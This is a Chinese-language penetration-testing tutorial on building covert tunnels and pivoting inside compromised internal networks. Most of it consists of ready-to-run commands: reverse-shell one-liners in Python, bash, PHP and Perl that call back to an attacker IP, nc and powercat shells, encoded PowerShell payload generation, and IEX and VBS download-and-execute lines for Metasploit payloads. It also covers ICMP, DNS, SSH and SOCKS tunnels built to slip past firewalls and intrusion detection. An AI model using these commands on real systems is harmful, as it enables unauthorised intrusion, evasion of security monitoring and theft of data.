在渗透场景中,各种安全设备会检查对外连接的情况,如果发现异常,就会对通信进行阻断。因此建立专门的隐蔽隧道就十分必要,这能绕过端口屏蔽。
常用的隧道如下:
**判断内网的连通性是指判断机器能否上外网等。**要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等,常用的内网的连通性判断方法如下:
nslookup www.baidu.com
除此之外还有dig命令
dig www.baidu.com
还有一种情况是流量不能直接流出,需要在内网中设置代理,判断方法如下:
1、查看网络连接,判断是否存在与其他机器的8080(不绝对)等端口的连接,可尝试运行ping -n 1 -a ip
命令
2、查看内网中是否有主机名类似于"proxy
"的机器。
3、查看IE浏览器的直接代理。
4、根据pac(代理自动配置)文件的路径(远程、本地),将其下载并查看。
5、执行如下命令,利用curl工具确认:
curl https://www.baidu.com //不通
curl -x proxy-ip:port www.baidu.com //通
在网络层中,常用的隧道协议是IPv6和ICMP协议。
IPv6隧道技术是指通过IPv4隧道传输IPv6数据报文的技术,也就是说,将IPv6报文整体封装在IPv4数据报文中,以便在IPv4隧道中传输。作业流程如下:
假设左边为节点A,右边为节点B
①节点A要向节点B发送IPv6报文,首先需要建立一条隧道。
②节点A将IPv6报文封装在以节点B的IPv4地址为目的地址,以自己的IPv4地址为源地址的IPv4报文中并发出。
③在网络中,该报文正常转发到节点B。
④节点B收到报文后,解除IPv4的封装,取出其中的IPv6报文。
因为现阶段的部分安全设备无法识别IPv6的通信技术,而大多数操作系统支持IPv6,因此可以通过某些软件来配置允许进行IPv6通信以此来避开防火墙和入侵检测系统,而即使设备支持IPv6,也可能无法正确分析封装了IPv6报文的IPv4数据包。
支持IPv6隧道的工具有socat、6tunnel、nt6tunnel等。
在一般的通信协议里,如果两台设备要进行通信,首先肯定需要开放端口,而在ICMP下就不需要,在一些网络环境中如果使用各类上层隧道(HTTP、DNS、常规正反向端口转发等)进行的操作都失败后,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装在ICMP的ping数据包中,从而穿过防火墙。
常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等:
项目地址:https://github.com/inquisb/icmpsh
运行如下命令:
python icmpsh_m.py <本机IP> <目标IP>
在目标主机上则运行:
icmpsh -t <外连主机IP> -d 500 -b 30 -s 128
PingTunnel项目地址:
http://freshmeat.sourceforge.net/projects/ptunnel/
在服务器192.168.1.4中输入
ptunnel -x shuteer
VPS上执行
ptunnel -p 192.168.222.135 -lp 1080 -da 192.168.1.4 -dp 3389 -x shuteer
攻击机访问VPS的1080端口:
会话产生
登录即可
传输层技术包括TCP隧道,UDP隧道和常规端口转发,在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获取到目标机器的权限后,可以使用IPTABLES打开指定端口。
将目标机器3389端口的所有数据转发到VPS的4444端口上
lcx -slave 192.168.1.2 4444 127.0.0.1 3389
VPS上执行
lcx -listen 4444 5555
用mstsc登录公网IP:5555即可连接到目标机器的3389端口。
如果目标服务器的防火墙对3389做了限制,那么可以在目标主机上执行如下命令:
lcx -tran 53 目标主机IP地址 3389
nc -v -z 192.168.1.2 3300-3307
在主机上执行如下命令,一旦有数据流入,则会写入3.txt
nc -lp 4444>3.txt
在另一台机器上执行
nc -vn 192.168.1.3 4444 < 2.txt
目标主机输入如下命令监听4444端口
nc -lvp 4444 -e /bin/sh #Linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe #Windows
在VPS(攻击者)上监听4444端口
nc -lvp 4444 #注意此处无-e
在目标主机上输入
nc 192.168.1.3 4444 -e /bin/sh #Linux
nc 192.168.1.3 4444 -e c:\windows\system32\cmd.exe #Windows
目标主机上执行如下命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.222.135",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
目标主机上执行
bash -i >& /dev/tcp 192.168.222.131/4444 0>&1
攻击机上执行
nc -lvp 4444
目标主机上执行
php -r '$sock=fsockopen("192.168.222.131",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
攻击机上执行
nc -lvp 4444
目标主机上执行
perl -e 'use Socket;$i="192.168.222.131";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
环境如下
首先VPS中
nc -lvp 4444
接着,在数据库服务器中执行
nc -lvp 4444 -e c:\windows\system32\cmd.exe
最后,在Web服务器上执行
nc -v 192.168.222.135 4444 -c "nc -v 192.168.1.2 4444"
项目地址:
https://github.com/besimorhino/powercat.git
参数详解:
参数 | 功能 |
---|---|
-l | 监听入站连接 |
-c | 连接目标 |
-p | 连接或监听的端口 |
-e | 返回某个程序 |
-ep | 返回PowerShell |
-r | 端口转发 |
-u | 通过UDP隧道传输数据 |
-dns | 通过DNS隧道传输数据 |
-dnsft | DNS失效阈值 |
-t | 超时选项。默认值:60 |
-i | 输入:文件路径(字符串)、字节数组或字符串 |
-o | 控制台输出类型:“主机”、“字节”或“字符串” |
-of | 输出文件路径 |
-d | 连接后断开 |
-rep | 重新启动 |
-g | 生成有效载荷 |
-ge | 生成编码后的有效载荷 |
-h | 帮助信息 |
测试环境:
操作系统 | IP地址 |
---|---|
Windows7 | 192.168.222.134,192,.168.1.3 |
Windows Server 2008 R2 | 192.168.1.2 |
Kali Linux | 192.168.222.131 |
在Windows7上执行监听命令
powercat -l -p 8080 -e cmd.exe -v
Kali中执行如下命令
nc -l -p 8888 -vv
Windows7中执行
powercat -c 192.168.222.131 -p 8888 -v -e cmd.exe
上述介绍的操作均可与nc交互,但如果是返回的是powershell则无法与nc进行交互。
在Windows7(攻击机)执行
powercat -l -p 9999 -v
在Windows Server 2008 R2执行如下命令,-ep用于返回Powershell
IEX(New-Object Net.WebClient).DownloadString("http://192.168.1.3/powercat.ps1")
powercat -c 192.168.1.3 -p 9999 -v -ep
Windows7中的test.txt文件,放于C盘根目录,执行如下命令
powercat -l -p 9999 -of test.txt -v
在Windows Server 2008 R2执行如下命令
powercat -c 192.168.1.3 -p 9999 -i c:\test.txt -v
用PowerCat生成的Payload也有正向和反向之分,且可以对其进行编码。
执行如下命令可生成一个Payload
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
将生成的Payload上传至Windows Server 2008 R2运行,使用Windows7连接可得到一个shell
powercat -c 192.168.1.2 -p 8000 -v
Windows7上执行
powercat -c 192.168.1.3 -p 8000 -e cmd -v -g >> shell.ps1
并监听8000端口
在Windows Server 2008 R2运行shell.ps1即可反弹shell。
如果想正向连接一个PowerShell,可以执行如下命令
powercat -l -p 8000 -ep -v -g >> shell.ps1
用PowerCat直接生成经过编码的Payload
powercat -c 192.168.1.2 -p 9999 -ep -ge >> shell.ps1
Windows Server 2008 R2执行(powershell版本需大于4.0)
powershell -E 编码结果
PowerCat的DNS通信是基于dnscat设计的,在使用dnscat之前需要对其进行编译
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install
若bundle install长时间无响应则执行
bundle config mirror.https://rubygems.org https://gems.ruby-china.com
再bundle install
然后执行
ruby dnscat2.rb ttpowercat.test -e open --no-cache
回到目标主机上执行
powercat -c 192.168.1.4 -p 53 -dns ttpowercat.test -e cmd.exe
在Windows Server 2008 R2执行
powercat -l -v -p 9999 -e cmd.exe
在Windows7执行
powercat -l -v -p 8000 -r tcp:192.168.222.131:9999
Kali Linux上执行
nc 192.168.222.134 8000 -vv
也可以使用DNS协议,在Windows7执行
powercat -l -v -p 8000 -r dns:192.168.222.131::ttpowercat.test
Kali Linux上执行
ruby dnscat2.rb ttpowercat.test -e open --no-cache
在Windows Server 2008 R2执行
powercat -c 192.168.1.3 -p 8000 -v -e cmd.exe
一个普通的SSH命令
ssh [email protected]
创建SSH隧道的常用参数说明如下:
环境如下
在VPS上执行如下命令
ssh -CfNg -L 1153:192.168.1.2:3389 [email protected]
查看本地1153端口是否已经连接
netstat -tulnp | grep "1153"
环境如下
在Web服务器上执行如下命令
ssh -CfNg -R 3307:192.168.1.2:3389 [email protected]
查看本地3307端口是否已经连接
netstat -tulnp | grep "3307"
访问VPS的3307端口
rdesktop 127.0.0.1:3307
在VPS上执行如下命令建立一个SOCKS 4/5DAILI 通道
ssh -CfNg -D 7000 [email protected]
查看本地7000端口是否已经连接
netstat -tulnp | grep "7000"
接着在VPS上打开浏览器将代理设置为
成功访问
HTTP Service代理用于将所有流量转发到内网,常见的代理工具有reGeorg、meterpreter、tunna等。
reGeorg是reDuh的升级版,主要功能是把内网服务器端口的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP的通信。reGeorg容易被杀毒软件查杀。
项目地址:https://github.com/sensepost/reGeorg
将脚本文件上传至目标服务器中,使用Kali访问上传后的文件
接着使用reGeorgSocksProxy.py监听4444端口建立通信,命令
python reGeorgSocksProxy.py -u http://192.168.222.138:8080/tunnel.jsp -p 4444
这时我们可以使用ProxyChain之类的工具,访问目标内网中的资源或者对目标3389端口爆破等等。
NPS:一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
项目地址:https://github.com/ehang-io/nps
DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,常见的DNS隧道技术可以使用:
常见的网络场景:
ssocksd用于普通网络环境的正向连接,rcsocks和rssocks用于反弹连接的命令。
适用于目标机器有公网IP地址的情况:
ew -s ssocksd -l 888
目标机器没有一个外网IP地址的情况:
公网VPS执行:
ew -s rcsocks -l 1008 -e 888
,即在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给888端口
在内网机器上执行:
ew -s rssocks -d 192.168.222.137 -e 888
,即在IP地址为192.168.1.6的机器上启动SOCKS5服务并反弹到VPS的888端口
可以看到反弹成功,此时访问VPS的1008端口去使用内网上假设的SOCKS5代理服务了:
假设有如下机器:
A:双网卡,有公网IP,只能访问内网的B主机
B:只能访问内网资源,无法访问外网
首先我们需要通过A向B传送EW,并使用ssocksd启动888端口的SOCKS代理:
A主机将1080端口收到的代理请求转发给B(192.168.1.6),现在可以通过访问A主机的1080端口使用B的SOCKS5代理:
假设有如下机器:
A:无公网IP,可以访问外网,无法访问内网资源
B:只能访问内网资源,无法访问外网
VPS一台
首先在VPS上执行
ew -s lcx_listen -l 1080 -e 888
,即在公网VPS中添加转接隧道,将1080端口收到的代理请求转发给888端口。
B主机执行,利用socksd方式启动999端口的SOCKS代理:
ew -s ssocksd -l 999
A主机执行,即将VPS的888端口和B主机的999端口连接起来:
ew -s lcx_slave -d VPS的IP地址 -e 888 -f B主机 -g 999
假设有如下机器:
A:无公网IP,可以访问外网
B:只能访问内网资源,无法访问外网,只能被A访问
C:可以被B访问并能访问核心区域
VPS一台
在VPS上执行,将1080端口收到的代理请求转发到888端口
ew -s rcsocks -l 1080 -e 888
在A主机上将VPS的888端口与B主机的999端口连接起来
ew -s lcx_slave -d VPS -e 888 -f B主机 -g 999
在B主机上将999端口收到的代理请求转发到777端口
ew -s lcx_listen -l 999 -e 777
在C主机上启动SOCKS5服务并反弹到777端口
ew -s rssocks -d B主机 -e 777
点击该图标添加代理
添加程序
选择在代理隧道中运行程序就可以进行内网漫游(即配合EW使用,或者Proxifier配合EW使用)
Kali Linux自带ProxyChains,看看配置文件
vim /etc/proxychains.conf
去除该处的#
添加代理服务器
测试代理服务器,提示未找到命令
运行cp /usr/lib/proxychains3/proxyresolv /usr/bin
,这里我并没有配置代理服务器,因此为timeout
访问内网中的网站可以用命令
proxychains firefox
启动火狐浏览器
proxychains nmap IP地址
(此命令在metasploit中同样适用)
proxychains sqlmap ......
渗透过程中常常要下载数据,这里有几种将数据进行压缩方便下载的技术
这里提取出winrar下的rar.exe,说明如下:
参数 | 功能 |
---|---|
-a | 添加要压缩的文件 |
-k | 锁定压缩文件 |
-s | 生成存档文件(提高压缩比) |
-p | 指定压缩密码 |
-r | 递归压缩,包括子目录 |
-x | 指定要排除的文件 |
-v | 分卷打包,大文件使用 |
-ep | 从名称中排除路径 |
-ep1 | 从名称中排除基本目录 |
-m0 | 存储,添加到压缩文件时不压缩文件 |
-m1 | 最快 |
-m2 | 较快 |
-m3 | 标准 |
-m4 | 较好 |
-m5 | 最好 |
e | 解压到当前根目录下 |
x | 以绝对路径解压 |
这里提取7z.exe,说明如下:
参数 | 功能 |
---|---|
-r | 递归压缩 |
-o | 指定输出目录 |
-p | 指定密码 |
-v | 分卷压缩 |
a | 添加压缩文件 |
对于不能上传shell,但是可以执行命令的windows服务器,可以进行上传和下载操作
常用命令:
命令 | 功能 |
---|---|
open <服务器地址> | 链接服务器 |
cd <目录名> | 进入指定目录 |
lcd <文件夹路径> | 定位本地文件夹(上传文件的位置或者下载文件的本地位置) |
type | 查看当前的传输方式 |
ascii | 设置传输方式为ascii码(TXT文件等) |
binary | 设置传输方式为二进制传输(EXE文件,图片,视频) |
close | 结束与ftp服务器的会话 |
quit | 结束与ftp服务器的会话并退出ftp环境 |
put <文件名> [新的文件名] | 上传,[]内容不指定则不修改 |
send <文件名> [新的文件名] | 上传,[]内容不指定则不修改 |
get <文件名> [新的文件名] | 下载,[]内容不指定则不修改 |
mget <文件名> [文件名…] | 下载多个文件,支持空格和?通配符,如下载所有MP3文件:mget .mp3 |
利用vbs上传主要使用msxm12.xmlhttp和adobd.stream对象,download.vbs文件:
Set Post = CreateObject("Msxm12.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://server_ip/target.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\Test\target.exe",2
使用echo 内容 >> download.vbs逐行写入后执行
Cscript download.vbs
Nishang将上传的EXE文件转换为十六进制的形式然后用echo访问目标服务器最后使用Download_Execute脚本下载。
先利用Nishang中的exetotext.ps1脚本将Metasploit生成的msf.exe修改问msf.txt:
ExetoText c\:msf.exe c:\msf.txt
接着通过echo将hex值添加到目标文件中,调用Download_Execute:
Download_Execute http://server_ip/target.txt
bitsadmin不支持HTTPS和FTP,且在Windows XP/Server 2003及以前的版本无法使用,Windows7/8/10自带。
powershell IEX(New-Object System.Net.Webclient).DownloadString('https://server_ip/target.exe');